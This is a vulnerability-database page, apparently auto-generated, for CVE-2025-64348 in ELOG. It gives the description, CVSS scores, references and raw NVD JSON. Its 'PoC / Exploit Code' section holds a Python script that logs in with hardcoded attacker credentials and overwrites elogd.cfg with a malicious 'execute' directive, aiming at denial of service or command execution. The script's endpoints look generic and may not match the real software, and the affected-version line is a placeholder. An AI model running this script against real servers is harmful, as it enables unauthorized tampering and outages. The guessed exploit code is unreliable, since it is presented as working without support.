Security Vulnerability Report
中文
CVE-2025-64348 CVSS 7.1 HIGH

CVE-2025-64348

Published: 2025-10-31 19:15:52
Last Modified: 2026-04-26 19:26:45
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

ELOG allows an authenticated user to modify or overwrite the configuration file, resulting in denial of service. If the execute facility is specifically enabled with the "-x" command line flag, attackers could execute OS commands on the host machine. By default, ELOG is not configured to allow shell commands or self-registration.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:elog_project:elog:*:*:*:*:*:*:*:* - VULNERABLE
ELOG < 最新安全补丁版本
使用 "-x" 命令行标志启动的ELOG所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64348 PoC - ELOG Configuration File Modification Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re TARGET = "http://target-elog-server.com" USERNAME = "attacker" PASSWORD = "password123" def exploit_config_modification(): """Attempt to modify ELOG configuration file""" session = requests.Session() # Step 1: Login to ELOG login_url = f"{TARGET}/elog" login_data = { "username": USERNAME, "password": PASSWORD, "cmd": "Login" } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully logged in") # Step 2: Access configuration management interface config_url = f"{TARGET}/elog/config" config_response = session.get(config_url, timeout=10) # Step 3: Modify configuration file modify_url = f"{TARGET}/elog/config/save" malicious_config = "# Malicious ELOG configuration\n" malicious_config += "execute = /tmp/malicious_script.sh\n" modify_data = { "file": "elogd.cfg", "content": malicious_config, "cmd": "Save" } response = session.post(modify_url, data=modify_data, timeout=10) if response.status_code == 200: print("[+] Configuration file modified successfully") print("[!] If -x flag is enabled, malicious commands may be executed") return True else: print("[-] Configuration modification failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-64348 ELOG Configuration Modification PoC") print("=" * 50) exploit_config_modification()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64348", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-31T19:15:51.610", "lastModified": "2026-04-26T19:26:45.093", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "ELOG allows an authenticated user to modify or overwrite the configuration file, resulting in denial of service. If the execute facility is specifically enabled with the \"-x\" command line flag, attackers could execute OS commands on the host machine. By default, ELOG is not configured to allow shell commands or self-registration."}, {"lang": "es", "value": "ELOG permite a un usuario autenticado modificar o sobrescribir el archivo de configuración, resultando en denegación de servicio. Si la función de ejecución está específicamente habilitada con el indicador de línea de comandos \"-x\", los atacantes podrían ejecutar comandos del sistema operativo en la máquina anfitriona. Por defecto, ELOG no está configurado para permitir comandos de shell o el auto-registro."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elog_project:elog:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1.5-20251014", "matchCriteriaId": "24A4D902-368B-43E4-8AF4-0A7D5C946E74"}]}]}], "references": [{"url": "https://bitbucket.org/ritt/elog/commits/7092ff64f6eb9521f8cc8c52272a020bf3730946", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Patch"]}, {"url": "https://bitbucket.org/ritt/elog/commits/f81e5695c40997322fe2713bfdeba459d9de09dc", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Patch"]}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-304-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-64348", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}